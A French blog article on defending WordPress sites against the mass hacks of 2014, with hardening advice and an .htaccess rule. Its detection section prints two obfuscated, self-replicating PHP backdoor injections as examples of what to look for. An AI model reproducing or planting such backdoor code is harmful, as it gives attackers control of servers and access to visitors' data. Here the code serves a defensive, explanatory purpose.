Piratages WordPress : Comment se protéger ?

piratages-wordpress2

Depuis le mois de Juillet 2014, le CMS WordPress subi des piratages massifs à travers le monde, donc si vous utilisez WordPress pour vos site internet attention à vous !

Pourquoi attaquer mon site internet ?

Les piratages de sites web ont différentes motivations, mais la principale est le « challenge » :plus ils arrivent à accéder à des sites internet, plus leur égo s’en trouve grandi.

Ces attaques ne sont généralement pas personnelles, il se trouve que votre site internet n’est peut être pas protégé contre une faille de sécurité bien précise, et cela attire les pirates curieux.

Que se passe t il en cas de piratage ?

Dans la plus part des cas, il ne se passe rien de grave, l’une de vos pages change d’apparence, ou le mot de passe de l’administrateur est changé.

Il y a aussi les cas plus complexe où le pirate réussit à injecter sur votre site internet un code PHP (que l’on trouve très facilement sur les forums) qui lui donne accès à tout votre serveur (principe de « backdoor » ou « porte dérobée »).
Une fois ce genre de système installé, le hacker peut se faire plaisir et vous taquiner par exemple en désactivant toute vos extensions ou en piégeant certaines pages pour que ce soit vous qui activiez l’un des ses codes.

Certains pirates cherchent aussi à voler des informations personnelles pour les revendre sur le web, si vous enregistrez des données personnelles, prévenez bien vos abonnés en cas de piratage pour éviter le « phishing« .

Comment détecter un piratage ?

Si vous avez été piraté, ne vous inquiétez pas vous devriez vous en rendre compte rapidement, car dès la connexion au back-office de WordPress vous verrez l’ampleur des dégâts éventuels.

Certains pirates s’introduisent plusieurs semaines avant leur méfait pour installer leurs outils, si vous avez les bonnes extensions vous pouvez les détecter avant qu’ils ne passent à l’acte.

Vous pouvez aussi trouver en début de certains fichiers PHP des codes comme ceci :

<?php if(!isset($GLOBALS[« \x61\156\x75\156\x61 »])) { $ua=strtolower($_SERVER[« \x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54″]); if ((! strstr($ua, »\x6d\163\x69\145″)) and (! strstr($ua, »\x72\166\x3a\61\x31 »))) $GLOBALS[« \x61\156\x75\156\x61″]=1; } ?><?php $qjxbyczvrp = ‘mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x4-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%2f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x782y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%xx5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x7f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7Rx5c%x7824-%x5c%x7824gvodujpo!%x54%x5c%x7824-%x5c%x7824]y8%x5c%x782|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osv7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x787825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x788%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x6%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5#%x5c%x785cq%x5c%x78257%%x78786<C%x5c%x7827&6<*rfs%x5c%x78257-!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7dLd]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]2x782f%x5c%x7825z<jg!)%8256<%x5c%x787fw6*%x5c%x78727!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]6]82#-#!#-%x5c%x7825tmw)%x5cx7860hA%x5c%x7827pd%x5c%xqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!g%x5c%x7878r.985:52985-t.98]KfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%pjudovg+)!gj+{e%x5c%x7825!osvufs!*sqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x786,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R855)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^n#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudov3]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y86|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x57825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]Dg5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78 », NULL); }c%x7825>%x5c%x782fh%x5c%x782c%x7825j:^<!%x5c%x7825w%x5c%x7860%tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y8%x7825)tpqsut>j%x5c%x782s%x5c%x7860un>qp%x5c%x75c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|34]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785c5!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c5]256]y76]72]y3d]51]y3j!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!42%x5f

ou encore

?php if(!isset($GLOBALS[« \x61\156\x75\156\x61 »])) { $ua=strtolower($_SERVER[« \x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54″]); if ((! strstr($ua, »\x6d\163\x69\145″)) and (! strstr($ua, »\x72\166\x3a\61\x31 »))) $GLOBALS[« \x61\156\x75\156\x61 »]=1; } ?><?php $bpzfichjgy = ‘x7825c*W%x5c%x7825eN+#Qi%x5c!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y66]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]yE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%xtfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-Sx7825fdy<Cb*[%x5c%x7825h!><*id%x5c%x7825)dfyfR%x5c%x7827FS&d_SFSFGFS%x5c%x7860QUUI&5]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%xtussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1Hx7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5cc%x7860cpV%x5c%x787f%x5c%x787f%dof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5!<+{e%x5c%x7825+*!*+fepdfe{h+{2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x78;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x78s)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%{6~6<tfs%x5c%x7825w6<%x5c%x787fw6c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x5c%x785c%x5c%x7825j^%x5c!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x782]#>q%x5c%x7825<#762]67y]562%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%5!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*7%x7827pd%x5c%x78256<pd%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x78256<C%x5c%x7827pd%x5c%x7825}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x78c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d8163]Kc]55Ld]55#*<%x5c%x7825brting(0); preg_replace(« %x2f%50%x2e%52*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA25)hopm3qjA)qj3hopmA%x5c%x782

Avant de faire des backups, vérifiez bien que vous avez effacez ces codes de tous les fichiers PHP de votre site internet, sinon vous allez faire une sauvegarde de fichiers corrompus.
Ces codes sont fait pour s’auto répliqué, c’est à dire que si au moins un de vos fichiers le contient, au lancement de celui ci il va se répliquer dans presque tous vos fichiers PHP.

Attention ! Certaines attaques ne visent pas votre site WordPress, mais plutôt le serveur qui l’héberge, pour cela hélas il n’y a pas d’autre moyen que de contacter son hébergeur pour trouver avec lui une solution.

Pour trouver d’éventuelles failles de sécurité connu, je vous conseille le site http://sitecheck.sucuri.net/ qui scanne votre site et vous affiche un rapport sur l’état de sécurité de celui-ci.

Comment se protéger ?

Beaucoup de piratage viennent du mot de passe de l’administrateur qui est dès fois beaucoup trop simple, pensez à donner un mot de passe complexe à tous les utilisateurs en utilisant majuscule, minuscule, chiffre et caractères comme $ # …

Dans WordPress il existe aussi de très bonnes extensions, comme Wordfence (https://wordpress.org/plugins/wordfence/) ou encore All in One WP Security & Firewall (https://wordpress.org/plugins/all-in-one-wp-security-and-firewall/) qui permettent de vérifier votre site internet et de mettre en place des options le protèger.

Voici les fonctionnalités à mettre en place pour se protèger des attaques :

  • Suppression de la balise META generator indiquant la version de WordPress que vous utilisez
  • Blocage des connexions d’un utilisateur en cas d’un trop grand nombre d’erreur de mot de passe pour éviter les piratages de type « bruteforce« 
  • Obligation pour tout les utilisateurs d’avoir un mot de passe fort
  • Changer le préfixe des tables de la base de données si vous ne l’avez pas fait à l’installation pour éviter d’utiliser celui par défaut « wp_ »
  • Scanner de fichier, qui vérifie à interval régulier si vos fichiers n’ont pas été modifiés et si c’est le cas vous recevez une notification par email
  • Notification de connexion d’un administrateur
  • Renforcer la sécurité au niveau de votre fichier « .htaccess »
  • Renommez les dossiers systèmes comme wp-content ou wp-admin

En compléments vous pouvez aussi protéger votre dossier /wp-content/uploads/ en ajoutant un fichier htaccess bloquant l’exécution de fichiers PHP dans ce dossier :

<Files ~ ".*\..*">
Order Allow,Deny
Deny from all
</Files>
<FilesMatch « \.(jpg|jpeg|jpe|gif|png|tif|tiff)$ »>
Order Deny,Allow
Allow from all
</FilesMatch>


En cas de piratage, pensez à changer tous vos codes d’accès WordPress , FTP, Base de données.

Voici d'autres articles qui pourraient vous plaire...

Laisser un commentaire